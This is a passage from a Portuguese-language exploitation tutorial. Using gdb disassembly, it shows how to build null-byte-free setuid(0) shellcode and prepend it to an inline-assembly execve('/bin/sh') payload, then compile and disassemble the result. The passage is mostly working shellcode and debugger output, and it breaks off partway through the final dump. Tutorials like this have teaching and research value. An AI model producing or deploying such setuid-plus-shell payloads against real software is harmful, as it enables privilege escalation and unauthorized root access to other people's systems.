(gdb) disassemble setuid
Dump of assembler code for function setuid:
0x80483e4 : push %ebp
0x80483e5 : mov %esp,%ebp
0x80483e7 : push %ebx
0x80483e8 : mov $0x17,%eax
0x80483ed : mov 0x8(%ebp),%ebx
0x80483f0 : int $0x80
0x80483f2 : mov %eax,%edx
0x80483f4 : test %edx,%edx
0x80483f6 : jge 0x8048408
0x80483f8 : neg %edx
0x80483fa : push %edx
0x80483fb : call 0x8050b0c <__normal_errno_location>
0x8048400 : pop %edx
0x8048401 : mov %edx,(%eax)
0x8048403 : mov $0xffffffff,%eax
0x8048408 : pop %ebx
0x8048409 : mov %ebp,%esp
0x804840b : pop %ebp
0x804840c : ret
0x804840d : nop
0x804840e : nop
0x804840f : nop
End of assembler dump.
(gdb)
O codigo eh enorme, mas voce jah sabe, somente as primeiras 6 linhas
nos interessam...abaixo estao elas:
0x80483e4 : push %ebp
0x80483e5 : mov %esp,%ebp
0x80483e7 : push %ebx
0x80483e8 : mov $0x17,%eax
0x80483ed : mov 0x8(%ebp),%ebx
0x80483f0 : int $0x80
Lembrando que queremos somente ateh a instrucao int $0x80, que faz com
que nosso programa entre no modo kernel.
Traduzindo o que essas 6 linhas representam:
0x80483e4 : push %ebp
0x80483e5 : mov %esp,%ebp
0x80483e7 : push %ebx
Procedimento Preludio, ou inicial.Velho esquema, nao iremos inserir
essas 3 linhas no nosso codigo por razoes obvias, jah temos um
procedimento inicial(preludio) no nosso shellcode.
0x80483e8 : mov $0x17,%eax
0x80483ed : mov 0x8(%ebp),%ebx
0x80483f0 : int $0x80
Essas sim nos interessam, pois sao as responsaveis pela execucao
do codigo que nos interessa, neste caso setuid(0).Para nao termos
bytes nulos(null bytes), alteramos essas linhas da seguinte forma:
Pegamos: Substituimos por:
---------------------- ---------------------------
mov $0x17,%eax xorl %eax,%eax
mov 0x8(%ebp),%ebx xorl %ebx,%ebx
mov $0x17,%al
-------------------------------------------------------------------
Deixamos esta como esta:
int $0x80
Depois juntado tudo teremos o shellcode para setuid(0), assim:
xorl %eax,%eax
xorl %ebx,%ebx
movb $0x17,%al
int $0x80
Acrescentando ele ao inicio de nosso shellcode /bin/sh inicial,
teremos:
#include
main(){
__asm__("
xorl %eax,%eax
xorl %ebx,%ebx
movb $0x17,%al
int $0x80
jmp 0x1f
popl %esi
movl %esi,0x8(%esi)
xorl %eax,%eax
movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
movb $0xb,%al
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xc(%esi),%edx
int $0x80
xorl %ebx,%ebx
movl %ebx,%eax
inc %eax
int $0x80
call -0x24
.string \"/bin/sh\"
");
}
Depois disso compilamos e executamos o gdb.Lembrando, compile com -static
e -ggdb, para nao dar erros.
(gdb) disassemble main
Dump of assembler code for function main:
0x8048150 : push %ebp
0x8048151 : mov %esp,%ebp
0x8048153 : xor %eax,%eax
0x8048155 : xor %ebx,%ebx
0x8048157 : mov $0x17,%al
0x8048159 : int $0x80
0x804815b : jmp 0x804817c
0x804815d : pop %esi
0x804815e : mov %esi,0x8(%esi)
0x8048161 : xor %eax,%eax
0x8048163 : mov %al,0x7(%esi)
0x8048166 : mov %eax,0xc(%esi)
0x8048169 : mov $0xb,%al
0x804816b : mov %esi,%ebx
0x804816d : lea 0x8(%esi),%ecx
0x8048170 : lea 0xc(%esi),%edx
0x8048173 : int $0x80
0x8048175 : xor %ebx,%ebx
0x8048177 : mov %ebx,%eax
0x8048179 : inc %eax
0x804817a : int $0x80
0x804817c